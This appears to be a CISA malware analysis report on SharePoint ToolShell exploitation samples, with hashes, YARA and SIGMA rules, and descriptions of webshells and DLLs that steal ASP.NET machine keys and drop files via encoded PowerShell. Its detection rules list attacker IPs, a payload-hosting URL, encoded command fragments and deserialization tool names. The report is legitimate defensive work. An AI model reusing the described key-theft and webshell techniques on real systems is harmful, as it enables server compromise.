The first ASPX file is used to retrieve and output machine key information from an ASP[.]NET application’s configuration. The next ASPX file contains a command-line instruction used to execute a PowerShell command. The PowerShell command is designed to Base64 decode and install a malicious ASPX webshell on disk. The webshell is used to handle various web-related operations, including setting and retrieving HTTP cookies, command execution and uploading files. The remaining two ASPX webshells are used to execute a command using PowerShell on the server. 

CISA encourages organizations to use the indicators of compromise (IOCs) and detection signatures in this Malware Analysis Report to identify malware samples. For more information on these CVEs, see CISA Alert Microsoft Releases Guidance on Exploitation of SharePoint Vulnerabilities.

Download the PDF version of this report:

For a downloadable copy of IOCs associated with this MAR, see:

For a downloadable copy of the SIGMA rules associated with this MAR, see version in .pdf or .yaml format: 

Submitted Files (6)

3461da3a2ddcced4a00f87dcd7650af48f97998a3ac9ca649d7ef3b7332bd997 (osvmhdfl.dll)

60a37499f9b02c203af24c2dfd7fdb3834cea707c4c56b410a7e68376938c4b7 (stage3.txt)

92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514 (spinstall0.aspx)

9340bf7378234db5bca0dc5378bf764b6a24bb87a42b05fa21a996340608fbd7 (info3.aspx)

d0c4d6a4be0a65f8ca89e828a3bc810572fff3b3978ff0552a8868c69f83d170 (spinstallp.aspx)

d9c4dd5a8317d1d83b5cc3482e95602f721d58e3ba624d131a9472f927d33b00 (spinstallb.aspx)

Additional Files (2)

675a10e87c248d0f629da864ba8b7fd92b62323c406a69dec35a0e6e1552ecbc (info3.aspx)

bee94b93c1796981a55d7bd27a32345a61304a88ed6cd70a5f7a402f1332df72 (bjcloiyq.dll)

Findings

60a37499f9b02c203af24c2dfd7fdb3834cea707c4c56b410a7e68376938c4b7

Details
Name stage3.txt
Size 15893 bytes
Type ASCII text, with very long lines
MD5 921ac86b258fa9ea3da4c39462bad782
SHA1 b8662c8cc9e383b4a0ac980e0fd94941fe12c31d
SHA256 60a37499f9b02c203af24c2dfd7fdb3834cea707c4c56b410a7e68376938c4b7
SHA512 6fd128a33e432d8fd5ea5dcf419a0b90f09648d7b4b95ceb6a5634fc01d8e0613d6d231bc038e2796f6a4d8fc277ebbea7b90ab773c0020dd2ad67149e52e4ff
ssdeep 384:AQG6NVJiZbXhKth3s0bA2rhvhundOXz5D:AQG6NVJmbX0h3zs21vsndO
Entropy 4.902435
Antivirus

No matches found.

YARA Rules
  • rule CISA_251132_01 : steals_authentication_credentials exfiltrates_data
    {
       meta:
           author = "CISA Code & Media Analysis"
           incident = "251132"
           date = "2025-07-21"
           last_modified = "20250724_721"
           actor = "n/a"
           family = "n/a"
           capabilities = "steals-authentication-credentials exfiltrates-data"
           malware_type = "unknown"
           tool_type = "unknown"
           description = "Detects Encoded .Net DLL samples"
           sha256_1 = "60a37499f9b02c203af24c2dfd7fdb3834cea707c4c56b410a7e68376938c4b7"
       strings:
           $s0 = { 4E 62 32 52 6C 41 46 4E 30 63 6D 6C 75 5A 77 42 44 62 32 35 6A 59 58 51 }
           $s1 = { 41 45 41 55 77 42 30 41 48 49 41 61 51 42 75 41 47 63 41 52 67 42 70 41 }
           $s2 = { 59 58 52 76 63 6D 41 79 57 31 74 54 65 58 4E 30 5A 57 30 75 51 6E 6C 30 }
           $s3 = { 4A 7A 61 57 39 75 50 54 51 75 4D 43 34 77 4C 6A 41 73 49 45 4E 31 62 48 }
           $s4 = { 43 42 57 5A 58 4A 7A 61 57 39 75 50 54 51 75 4D 43 34 77 4C 6A 41 73 49 }
           $s5 = { 4D 54 6B 7A 4E 47 55 77 4F 44 6C 64 58 53 42 48 5A 58 52 46 62 6E 56 74 }
           $s6 = { 5A 58 4A 68 64 47 39 79 4B 43 6B 49 41 41 41 41 43 67 46 }
           $s7 = { 54 65 58 4E 30 5A 57 30 75 52 6E 56 75 59 32 41 79 57 31 }
           $s8 = { 74 54 65 58 4E 30 5A 57 30 75 51 32 39 73 62 47 56 6A 64 47 6C 76 62 6E 4D 75 52 }
       condition:
           all of them
    }
     
SIGMA Rule

                             ## CISA Code & Media Analysis ##

                           ############ README ###############
## Edit rules and queries as needed for your hunt and based on your environment.
## Ensure your EDR/SIEM instance has enough memory to run these AND/OR condition based queries. May take longer to run than conventional Sigma rule query. 
## Do not edit "logsource-product:" unless you are editing this rule to meet specific logsources/fields and know your environment.
## TLP GREEN + Please use local installation of Sigma to convert this rule.
## TLP CLEAR may convert rules using online converter of choice.
                           ###################################

title: Detects ToolShell CVE-2025-53770 Exploitation IOCs and Activity
incident: 251133.r1
tlp: CLEAR
id: aba8967f-6613-47a8-87d1-e5d7aae31e9b
status: test
description: Detects ToolShell CVE-2025-53770 Exploitation of SharePoint servers. Previous related CVEs are CVE-2025-49706 and CVE-2025-49704. CVE-2025-53770 is new and stealthy webshell called SharpyShell, that extracts and leaks cryptographic secrets from the SharePoint server using a simple GET request.
references:
   - https://www.cisa.gov/news-events/alerts/2025/07/20/microsoft-releases-guidance-exploitation-sharepoint-vulnerability-cve-2025-53770
   - https://research.eye.security/sharepoint-under-siege/
   - https://x.com/codewhitesec/status/1944743478350557232/photo/1
   - 251132.r1
author: CISA Code & Media Analysis
date: 2025-07-21
modified: 2025-07-22
tags: 
   - cve.2025.53770
logsource:
   product: cma
detection:
   keywords:
       - '92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514'        
       - '107.191.58.76'
       - '104.238.159.149'
       - '96.9.125.147'
       - 'Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0 /_layouts/SignOut.aspx'
       - '-EncodedCommand JABiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0'
       - 'TEMPLATE\LAYOUTS\spinstall0.aspx'        
       - '/_layouts/15/ToolPane.aspx DisplayMode=Edit'
       - '/_layouts/15/spinstall0.aspx'
       - 'spinstall'
       - 'yoserial'

   keywords_1:
       - 'POST'
       - 'GET'
   keywords_2:
       - '/_layouts/15/ToolPane.aspx'
   keywords_3:
       - 'DisplayMode=Edit'

   keywords_4:
       - 'POST'
       - 'GET'
       - 'curl'              
   keywords_5:
       - '/_layouts/'
       - 'layouts'  
   keywords_6:
       - 'ToolPane.aspx'
       - 'SignOut.aspx'
       - 'spinstall'
       - 'info3.aspx'

   keywords_7:
       - 'HTTP'
   keywords_8:
       - 'X-TXT-NET'

   keywords_9:
       - '.exe'
   keywords_10:
       - '-ap'
   keywords_11:
       - 'SharePoint'
   keywords_12:
       - '8080'
   keywords_13:
       - '.dll'
   keywords_14:
       - 'pipe'
   keywords_15:
       - 'inetpub'
   keywords_16:
       - 'config'

   keywords_17:
       - 'ysoserial'
   keywords_18:
       - 'ViewState'
   keywords_19:
       - 'TypeConfuseDelegate'
   keywords_20:
       - 'powershell'
   keywords_21:
       - '-EncodedCommand'

   keywords_22:
       - 'BiAGEAcwBlADYANABTAHQAcgBpAG4AZwAgAD0'
       - 'base64String='
   keywords_23:
       - 'BkAGUAYwBvAGQAZQBk'
       - 'decoded' 
   keywords_24:
       - 'BGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBn'
       - 'FromBase64String'
   keywords_25:
       - 'cwBwAGkAbgBzAHQAYQBsAGwAMAAuAGEAcwBwAHg'
       - 'AuAGEAcwBwAHg'
       - 'spinstall0.aspx'
       - '.aspx'

   keywords_26:
       - 'V3JpdGUoY2cuVm'
   keywords_27:
       - 'bisifCIrY2cuRG'     
   keywords_28:
       - 'mFsaW'


   condition: keywords or keywords_1 and keywords_2 and keywords_3 or keywords_4 and keywords_5 and keywords_6 or keywords_7 and keywords_8 or keywords_9 and keywords_10 and keywords_11 and keywords_12 and keywords_13 and keywords_14 and keywords_15 and keywords_16 or keywords_17 and keywords_18 and keywords_19 and keywords_20 and keywords_21 or keywords_22 and keywords_23 and keywords_24 and keywords_25 or keywords_26 and keywords_27 and keywords_28

falsepositives:
   - Rate of FP moderate with some strings.
   - Use this rule in an infected environment/logs.
   - Analyst may need to make adjustments to the query as required.
level: critical

ssdeep Matches

No matches found.

Relationships
60a37499f9... Contains bee94b93c1796981a55d7bd27a32345a61304a88ed6cd70a5f7a402f1332df72
Description

This artifact is a data file containing the Base64 encoded .NET DLL "bjcloiyq.dll" (bee94b93c1...).

Screenshots
MAR-251132.c1.v1.Figure1

Figure 1 - Screenshot of a snippet of the data file.

bee94b93c1796981a55d7bd27a32345a61304a88ed6cd70a5f7a402f1332df72

Details
Name bjcloiyq.dll
Size 10813 bytes
Type PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 0e36ecda6fc4b5661f9a181984a53bb5
SHA1 3a438b239d8451b8e12e9cdd3c24d1240dd758c9
SHA256 bee94b93c1796981a55d7bd27a32345a61304a88ed6cd70a5f7a402f1332df72
SHA512 033f215fde36025a7ce434daddb70304d1e56f2dd2600e18a44d0af825a348fda388ee8fb1d684c2cdd006cdf042005bb26ab67cdf6c5eaac331650ea0ab9422
ssdeep 192:fJhh81DzgDZnSxPKgL6YBAxmrFMxmrFARmrF9RmrFj4U0QiKpM9aMg3AxmrFaxmi:xhh81Dz4pSxPKg2YBAxeFMxeFAReF9RL
Entropy 4.986214
Antivirus

No matches found.

YARA Rules
  • rule CISA_251132_02 : steals_authentication_credentials exfiltrates_data
    {
       meta:
           author = "CISA Code & Media Analysis"
           incident = "251132"
           date = "2025-07-21"
           last_modified = "20250724_721"
           actor = "n/a"
           family = "n/a"
           capabilities = "steals-authentication-credentials exfiltrates-data"
           malware_type = "unknown"
           tool_type = "unknown"
           description = "Detects .Net DLL payload samples"
           sha256_1 = "bee94b93c1796981a55d7bd27a32345a61304a88ed6cd70a5f7a402f1332df72"
       strings:
           $s0 = { 62 6A 63 6C 6F 69 79 71 2E 64 6C 6C }
           $s1 = { 4D 61 63 68 69 6E 65 4B 65 79 53 65 63 74 69 6F 6E 00 54 79 70 65 }
           $s2 = { 67 65 74 5F 56 61 6C 69 64 61 74 69 6F 6E 4B 65 79 }
           $s3 = { 67 65 74 5F 43 75 72 72 65 6E 74 00 48 74 74 70 52 65 73 70 6F 6E 73 65 }
           $s4 = { 67 65 74 5F 44 65 63 72 79 70 74 69 6F 6E 4B 65 79 }
           $s5 = { 67 65 74 5F 44 65 63 72 79 70 74 69 6F 6E }
           $s6 = { 53 79 73 74 65 6D 2E 57 65 62 2E 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E }
       condition:
           all of them
    }
     
SIGMA Rule

   ## CISA Code & Media Analysis ##

                           ############ README ###############
## Edit rules and queries as needed for your hunt and based on your environment.
## Ensure your EDR/SIEM instance has enough memory to run these AND/OR condition based queries. May take longer to run than conventional Sigma rule query. 
## Do not edit "logsource-product:" unless you are editing this rule to meet specific logsources/fields and know your environment.
## TLP GREEN + Please use local installation of Sigma to convert this rule.
## TLP CLEAR may convert rules using online converter of choice.
                           ###################################

title: Detects CVE-2025-53770 IOCs and Activity Based on Submitted Files 251132.r2
incident: 251133.r2
tlp: CLEAR
id: a9327942-4cf7-48e4-9ea4-ad0b54db4bf7 
status: test
description: Detects ToolShell CVE-2025-53770 Exploitation of SharePoint servers. Detects IOCs and Activity Based on Submitted Files 251132.r2.
references:
   - 251132.r2
author: CISA Code & Media Analysis
date: 2025-07-23
modified: 2025-07-23
tags: 
   - cve.2025.53770
logsource:
   product: cma
detection:
   keywords_1:
       - 'CVAUGFnZSBMYW5ndWFnZT0i'
       - '%@Page Language="'
   keywords_2:
       - 'Jwb3dlcnNoZWxsLmV4ZS'
       - 'powershell.exe'
   keywords_3:
       - 'ItZW5j'
       - '-enc'
       - 'LUVuY29kZWRDb21tYW5k'
       - '-EncodedCommand'
   keywords_4:
       - '0Jhc2U2NFN0cmluZy'
       - 'Base64String'
   keywords_5:
       - 'FJlcXVlc3QuRm9ybV'
       - 'Request.Form'
   keywords_6:
       - 'sicCJ'
       - '"p"'

   keywords_7:
       - '*.exe'
   keywords_8:
       - 'powershell*'
   keywords_9:
       - '-Command'
   keywords_10:
       - 'Get-ChildItem'
       - 'ForEach-Object' 
   keywords_11:
       - '*\TEMPLATE\LAYOUTS\*'

   keywords_12:
       - '*.exe'
   keywords_13:
       - 'certutil*'
   keywords_14:
       - '-decode'

   keywords_15:
       - 'c:\progra~1\common~1\micros~1\webser~1\16\template\layouts\owa\resources\*'
       - 'c:\progra~1\common~1\micros~1\webser~1\16\template\layouts\*'
       - '\template\layouts\*'
       - '\template\layouts\owa\*'
   keywords_16:
       - '*.aspx'
       - '*.txt'

   keywords_17:
       - '*\TEMPLATE\LAYOUTS\*'
   keywords_18:
       - 'spinstall*'
   keywords_19:
       - '*.aspx'

   condition: keywords_1 and keywords_2 and keywords_3 and keywords_4 and keywords_5 and keywords_6 or keywords_7 and keywords_8 and keywords_9 and keywords_10 and keywords_11 or keywords_12 and keywords_13 and keywords_14 or keywords_15 and keywords_16 or keywords_17 and keywords_18 and keywords_19

falsepositives:
   - Rate of FP low-moderate with some strings.
   - Use this rule in an infected environment/logs.
   - Analyst may need to make adjustments to the query as required.
level: critical

 

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2025-07-18 03:25:36+00:00
Import Hash dae02f32a21e03ce65412f6e56942daa
File Description  
Internal Name bjcloiyq.dll
Legal Copyright  
Original Filename bjcloiyq.dll
Product Version 0.0.0.0
PE Sections
MD5 Name Raw Size Entropy
93185bd1019bd277eef9815a17f1d074 header 512 2.540889
f7cb6b7293c5082045ba423cab20a758 .text 2048 4.519674
b73c90a61195ef7457efab9d898490d9 .rsrc 1024 2.172802
039675253cb6c73f5458348295ff2f28 .reloc 512 0.081539
Packers/Compilers/Cryptors
Microsoft Visual C# / Basic .NET
Relationships
bee94b93c1... Contained_Within 60a37499f9b02c203af24c2dfd7fdb3834cea707c4c56b410a7e68376938c4b7
Description

This artifact is a 64-bit .NET DLL that contains a class named "E" (Figure 2) used to extract and concatenate machine key configuration settings within an ASP[.]NET application's configuration. The file uses reflection to access the "MachineKeySection" from the "System.Web" assembly, which contains cryptographic keys used for validation and decryption in ASP[.]NET. The file uses reflection to get and invoke the "GetApplicationConfig" method of the "MachineKeySection" class to retrieve the "machineKey" configuration, which holds the actual key values. The file constructs a string containing the "ValidationKey", "Validation", "DecryptionKey", "Decryption", and "CompatibilityMode" properties of the "machineKeySection" and adds it as a custom header named "X-TXT-NET" to the HTTP response.

Screenshots
MAR-251132.c1.v1.Figure2

Figure 2 - Screenshot of the decompiled .NET assembly within a class named "E" used to extract the machine key configuration.

3461da3a2ddcced4a00f87dcd7650af48f97998a3ac9ca649d7ef3b7332bd997

Details
Name osvmhdfl.dll
Size 13373 bytes
Type PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 40e609840ef3f7fea94d53998ec9f97f
SHA1 141af6bcefdcf6b627425b5b2e02342c081e8d36
SHA256 3461da3a2ddcced4a00f87dcd7650af48f97998a3ac9ca649d7ef3b7332bd997
SHA512 deaed6b7657cc17261ae72ebc0459f8a558baf7b724df04d8821c7a5355e037a05c991433e48d36a5967ae002459358678873240e252cdea4dcbcd89218ce5c2
ssdeep 384:cMQLQ5VU1DcZugg2YBAxeFMxeFAReF9ReFj4U0QiKy8Mg3AxeFaxeFAReFLxTYma:ElHh1gtX10u5A
Entropy 4.966672
Antivirus

No matches found.

YARA Rules
  • rule CISA_251132_08 : steals_authentication_credentials exfiltrates_data
    {
       meta:
           author = "CISA Code & Media Analysis"
           incident = "251132"
           date = "2025-07-21"
           last_modified = "20250725_712"
           actor = "n/a"
           family = "n/a"
           capabilities = "steals-authentication-credentials exfiltrates-data"
           malware_type = "unknown"
           tool_type = "unknown"
           description = "Detects .Net DLL payload samples"
           sha256_1 = "3461da3a2ddcced4a00f87dcd7650af48f97998a3ac9ca649d7ef3b7332bd997"
       strings:
           $s0 = { 47 65 74 4C 6F 67 69 63 61 6C 44 72 69 76 65 73 }
           $s1 = { 67 65 74 5F 4D 61 63 68 69 6E 65 4E 61 6D 65 }
           $s2 = { 67 65 74 5F 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 }
           $s3 = { 67 65 74 5F 43 75 72 72 65 6E 74 44 69 72 65 63 74 6F 72 79 }
           $s4 = { 67 65 74 5F 50 72 6F 63 65 73 73 6F 72 43 6F 75 6E 74 }
           $s5 = { 67 65 74 5F 55 73 65 72 4E 61 6D 65 }
           $s6 = { 67 65 74 5F 4F 53 56 65 72 73 69 6F 6E }
           $s7 = { 45 6E 76 69 72 6F 6E 6D 65 6E 74 56 61 72 69 61 62 6C 65 73 }
           $s8 = { 53 79 73 74 65 6D 2E 57 65 62 2E 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E }
           $s9 = { 4D 61 63 68 69 6E 65 4B 65 79 53 65 63 74 69 6F 6E }
           $s10 = { 67 65 74 5F 56 61 6C 69 64 61 74 69 6F 6E 4B 65 79 }
           $s11 = { 67 65 74 5F 44 65 63 72 79 70 74 69 6F 6E 4B 65 79 }
           $s12 = { 67 65 74 5F 44 65 63 72 79 70 74 69 6F 6E }
           $s13 = { 67 65 74 5F 43 6F 6D 70 61 74 69 62 69 6C 69 74 79 4D 6F 64 65 }
       condition:
           all of them
    }
     
SIGMA Rule

 ## CISA Code & Media Analysis ##

                           ############ README ###############
## Edit rules and queries as needed for your hunt and based on your environment.
## Ensure your EDR/SIEM instance has enough memory to run these AND/OR condition based queries. May take longer to run than conventional Sigma rule query. 
## Do not edit "logsource-product:" unless you are editing this rule to meet specific logsources/fields and know your environment.
## TLP GREEN + Please use local installation of Sigma to convert this rule.
## TLP CLEAR may convert rules using online converter of choice.
                           ###################################

title: Detects CVE-2025-53770 CVE-2025-53771 Updated IOCs and Activity 
incident: 251133.r2
tlp: CLEAR
id: 32bba1a1-3900-4cf9-b379-3e71a63998a3
status: test
description: Detects ToolShell CVE-2025-53770 Exploitation of SharePoint servers. Detects updated IOCs and Activity. CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771. TA - Linen Typhoon, Violet Typhoon, Storm-2603.
references:
   - https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/?msockid=3e14885e8c2b643323129d998d366597
   - https://socradar.io/toolshell-sharepoint-zero-day-cve-2025-53770/
   - https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/
   - https://github.com/kaizensecurity/CVE-2025-53770/blob/master/payload
   - https://www.picussecurity.com/resource/blog/cve-2025-53770-critical-unauthenticated-rce-in-microsoft-sharepoint
   - https://www.trendmicro.com/en_us/research/25/g/cve-2025-53770-and-cve-2025-53771-sharepoint-attacks.html
author: CISA Code & Media Analysis
date: 2025-07-23
modified: 2025-07-23
tags: 
   - cve.2025.49704 
   - cve.2025.49706
   - cve.2025.53770
   - cve.2025.53771 
logsource:
   product: cma
detection:
   keywords:
       - '92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514'
       - '4a02a72aedc3356d8cb38f01f0e0b9f26ddc5ccb7c0f04a561337cf24aa84030'
       - 'b39c14becb62aeb55df7fd55c814afbb0d659687d947d917512fe67973100b70'
       - 'fa3a74a6c015c801f5341c02be2cbdfb301c6ed60633d49fc0bc723617741af7'
       - '390665bdd93a656f48c463bb6c11a4d45b7d5444bdd1d1f7a5879b0f6f9aac7e'
       - '66af332ce5f93ce21d2fe408dffd49d4ae31e364d6802fff97d95ed593ff3082'
       - '7baf220eb89f2a216fcb2d0e9aa021b2a10324f0641caf8b7a9088e4e45bec95'
       - '8d3d3f3a17d233bc8562765e61f7314ca7a08130ac0fb153ffd091612920b0f2'
       - '30955794792a7ce045660bb1e1917eef36f1d5865891b8110bf982382b305b27'
       - 'b336f936be13b3d01a8544ea3906193608022b40c28dd8f1f281e361c9b64e93'

       - '107.191.58.76'
       - '104.238.159.149'
       - '96.9.125.147'
       - '103.186.30.186'
       - '45.77.155.170'
       - '139.144.199.41'
       - '172.174.82.132'
       - '89.46.223.88'  
       - '45.77.155.170'    
       - '154.223.19.106'   
       - '185.197.248.131'  
       - '149.40.50.15' 
       - '64.176.50.109'    
       - '149.28.124.70'   
       - '206.166.251.228'  
       - '95.179.158.42' 
       - '86.48.9.38'
       - '128.199.240.182'  
       - '212.125.27.102' 
       - '91.132.95.60'
       - '134.199.202.205'
       - '131.226.2.6'
       - '188.130.206.168'

       - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0'
       - 'Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:120.0)+Gecko/20100101+Firefox/120.0'
       - 'c34718cbb4c6.ngrok-free.app/file.ps1'

   keywords_1:
       - '*\TEMPLATE\LAYOUTS\*'
   keywords_2:
       - 'spinstall*'
       - 'debug*'
       - 'info*'
   keywords_3:
       - '*.aspx'
       - '*.js'

   keywords_4:
       - 'POST'
       - 'GET'
       - 'curl'
   keywords_5:
       - '*/_layouts/*'
       - '*/layouts/*'
       - '*layouts*'
   keywords_6:
       - '*ToolPane.aspx'
       - '*DisplayMode'
       - '*SignOut.aspx'
       - '*spinstall*'
       - 'VIEWSTATE'

   keywords_7:
       - 'cmd.exe'
   keywords_8:
       - 'powershell.exe' 
   keywords_9:
       - '-EncodedCommand'
       - '-ec'
       - '-enc'
       - 'VIEWSTATE'
       - 'yoserial*'

   keywords_10:
       - '*\TEMPLATE\LAYOUTS\*'
   keywords_11:
       - 'ChildItem'
   keywords_12:
       - 'targetFile'
   keywords_13:
       - 'NewLine'
   keywords_14:
       - '*web.config*'

   keywords_15:
       - 'Ry2cuVmFsaWRhd'
       - 'Validation'
   keywords_16:
       - 'ifCIRy2cuQ29tc'
       - 'Decryption'
   keywords_17:
       - 'dGlvb'
       - 'Key'
   keywords_18:
       - 'UZtleVNlY3Rpb2'
       - 'MachineKey'
   keywords_19:
       - 'ShudWxsLC'
       - 'Invoke'
   keywords_20:
       - 'XIiIGxhbmd1Y'
       - 'language'
   keywords_21:
       - 'qZWN0WzBdKTsNC'
       - 'new object'

   keywords_22:
       - 'POST'
       - 'powershell*'
       - '*layouts*'
   keywords_23:
       - 'ToolPane.aspx'
       - '*spinstall*'


   condition: keywords or keywords_1 and keywords_2 and keywords_3 or keywords_4 and keywords_5 and keywords_6 or keywords_7 and keywords_8 and keywords_9 or keywords_10 and keywords_11 and keywords_12 and keywords_13 and keywords_14 or keywords_15 and keywords_16 and keywords_17 and keywords_18 and keywords_19 and keywords_20 and keywords_21 or keywords_22 and keywords_23

falsepositives:
   - Rate of FP low-moderate with some strings.
   - Use this rule in an infected environment/logs.
   - Analyst may need to make adjustments to the query as required.
level: critical

 

ssdeep Matches

No matches found.

PE Metadata
Compile Date 2025-07-22 08:33:22+00:00
Import Hash dae02f32a21e03ce65412f6e56942daa
File Description  
Internal Name osvmhdfl.dll
Legal Copyright  
Original Filename osvmhdfl.dll
Product Version 0.0.0.0
PE Sections
MD5 Name Raw Size Entropy
2a11da5809d47c180a7aa559605259b5 header 512 2.545281
531ff1038e010be3c55de9cf1f212b56 .text 4608 4.532967
ef6793ef1a2f938cddc65b439e44ea07 .rsrc 1024 2.170401
403090c0870bb56c921d82a159dca5a3 .reloc 512 0.057257
Packers/Compilers/Cryptors
Microsoft Visual C# / Basic .NET
Description

This artifact is a 32-bit .NET DLL that contains a class named "E" (Figure 3) used to retrieve system and environment information, along with the machine key configuration settings (Figure 3). This class file is designed to iterate through and collect environment variables as well as retrieve and format .NET and system properties below: 

--Begin System Properties-- 
Number of logical drives 
Drive letters 
Computer name 
Full path of the system directory 
Current directory 
Processor count 
System uptime (milliseconds since start) 
Username 
Operating system version 
.NET version 
--End System Properties-- 

The file uses reflection to access the "MachineKeySection" from the "System.Web" assembly, which contains cryptographic keys used for validation and decryption in ASP[.]NET. The file uses reflection to invoke the "GetApplicationConfig" method of the "MachineKeySection" class to retrieve the "machineKey" configuration, which holds the actual key values. The file constructs a string containing the "ValidationKey", "Validation", "DecryptionKey", "Decryption", and "CompatibilityMode" properties of the "machineKeySection". The gathered information and the "MachineKeySection" details are formatted into a string before written to the HTTP response (current.Response object).

Screenshots
MAR-251132.c1.v1.Figure3

Figure 3 - Screenshot of the decompiled .NET assembly that contains a class named "E" used to retrieve and display system and environment information, along with the machine key configuration settings.

92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514

Tags

webshell

Details
Name spinstall0.aspx
Size 756 bytes
Type HTML document, ASCII text, with CRLF line terminators
MD5 02b4571470d83163d103112f07f1c434
SHA1 f5b60a8ead96703080e73a1f79c3e70ff44df271
SHA256 92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514
SHA512 2e6799393458d42acd4586c9792c24edf10b5e4aa761419758fec8da6670197c0e7c21e46dab224673818146ea4811446b4fbeaeed581e98f2add0980eb9d47d
ssdeep 12:iWVx8OaBngupDLI4MKisEKFhbCT5a05MQ+SuEKd2Eswl1HwAbPYMv:5VxWBnrE4JtbCT5f5exB1tbPYMv
Entropy 5.313146
Antivirus

No matches found.

YARA Rules
  • rule CISA_251132_03 : steals_authentication_credentials exfiltrates_data
    {
       meta:
           author = "CISA Code & Media Analysis"
           incident = "251132"
           date = "2025-07-21"
           last_modified = "20250724_721"
           actor = "n/a"
           family = "n/a"
           capabilities = "steals-authentication-credentials exfiltrates-data"
           malware_type = "unknown"
           tool_type = "unknown"
           description = "Detects aspx payload samples"
           sha256_1 = "92bb4ddb98eeaf11fc15bb32e71d0a63256a0ed826a03ba293ce3a8bf057a514"
       strings:
           $s0 = { 4C 6F 61 64 28 22 53 79 73 74 65 6D 2E 57 65 62 }
           $s1 = { 43 6F 6E 66 69 67 75 72 61 74 69 6F 6E 2E 4D 61 63 68 69 6E 65 4B 65 79 53 65 63 74 69 6F 6E }
           $s2 = { 52 65 73 70 6F 6E 73 65 2E 57 72 69 74 65 }
           $s3 = { 63 67 2E 56 61 6C 69 64 61 74 69 6F 6E 4B 65 79 2B 22 7C 22 }
           $s4 = { 2B 63 67 2E 56 61 6C 69 64 61 74 69 6F 6E 2B }
           $s5 = { 2B 63 67 2E 44 65 63 72 79 70 74 69 6F 6E 4B 65 79 2B }
           $s6 = { 2B 63 67 2E 44 65 63 72 79 70 74 69 6F 6E 2B }
           $s7 = { 2B 63 67 2E 43 6F 6D 70 61 74 69 62 69 6C 69 74 79 4D 6F 64 65 }
       condition:
           all of them
    }
     
SIGMA Rule

No associated rule.

ssdeep Matches

No matches found.

Description

This artifact is a malicious ASPX file used to retrieve and output machine key information from the "MachineKeySection" of the System[.]Web[.]Configuration namespace (Figure 4). This file uses reflection to dynamically load the "System.Web" assembly and access the "MachineKeySection" class within "System.Web.Configuration". The file invokes "GetApplicationConfig" to retrieve the "MachineKeySection" object and writes its properties including, ValidationKey, Validation, DecryptionKey, Decryption, and CompatibilityMode to the HTTP response using the "Response.Write()" method.

Screenshots
MAR-251132.c1.v1.Figure4

Figure 4 - Screenshot of the contents of the ASPX file used to extract configuration information from the machine key section of a web application's Web.config file.

9340bf7378234db5bca0dc5378bf764b6a24bb87a42b05fa21a996340608fbd7

Tags

dropper

Details
Name info3.aspx
Size 5026 bytes
Type ASCII text, with very long lines, with no line terminators
MD5 1f5c8df6bd296ebf68acda951a004a5b
SHA1 d80722b335806cb74ee27af385abc6c9b018e133
SHA256 9340bf7378234db5bca0dc5378bf764b6a24bb87a42b05fa21a996340608fbd7
SHA512 54a82a9d9747f872f21f20ac4acea25218ed38a61fd9c611fb858f3f0c2941d4bf7ed35bf93fc0432aa3ac5a891277754a4a9468ae03cf31ca11281a589bc224
ssdeep 96:orFTPkPoXHIBvUr7F13mw3UhoQgW0970Eq90WtPKLiOKMT:orVPkPRBvaJ13r3eA709JPKGOKMT
Entropy 5.515141
Antivirus

No matches found.

YARA Rules
  • rule CISA_251132_04 : dropper installs_other_components
    {
       meta:
           author = "CISA Code & Media Analysis"
           incident = "251132"
           date = "2025-07-21"
           last_modified = "20250724_721"
           actor = "n/a"
           family = "n/a"
           capabilities = "installs-other-components"
           malware_type = "dropper"
           tool_type = "unknown"
           description = "Detects Base64 encoded PowerShell dropper samples"
           sha256_1 = "9340bf7378234db5bca0dc5378bf764b6a24bb87a42b05fa21a996340608fbd7"
       strings:
           $s0 = { 63 6D 64 2E 65 78 65 5C 22 20 2F 63 20 70 6F 77 65 72 73 68 65 6C 6C 20 2D 43 6F 6D 6D 61 6E 64 }
           $s1 = { 46 72 6F 6D 42 61 73 65 36 34 53 74 72 69 6E 67 }
           $s2 = { 4F 75 74 2D 46 69 6C 65 20 2D 46 69 6C 65 50 61 74 68 }
           $s3 = { 69 6E 66 6F 33 2E 61 73 70 78 }
           $s4 = { 2D 45 6E 63 6F 64 69 6E 67 20 55 54 46 38 }
       condition:
           all of them
    }
     
SIGMA Rule

No associated rule.

ssdeep Matches

No matches found.

Relationships
9340bf7378... Contains 675a10e87c248d0f629da864ba8b7fd92b62323c406a69dec35a0e6e1552ecbc
Description

This artifact contains command-line instruction used to execute a PowerShell command (Figure 5). The PowerShell command decodes a Base64 encoded string into a Unicode Transformation Format-8 (UTF-8) string. The decoded content is then written to a file named "info3.aspx" (675a10e87c24....) located at c:\progra~1\\common~1\micros~1\webser~1\l16\template\layouts\. The output file is encoded using UTF8.

Screenshots
MAR-251132.c1.v1.Figure5

Figure 5 - Screenshot of the contents of the file containing command-line instruction used to execute a PowerShell command.

675a10e87c248d0f629da864ba8b7fd92b62323c406a69dec35a0e6e1552ecbc

Tags

webshell

Details
Name info3.aspx
Size 3582 bytes
Type HTML document, ASCII text
MD5 7e09e837805c55dc5643cc21a87ff2a8
SHA1 27f154765054fbe0f5c234cd2c7829b847005d2a
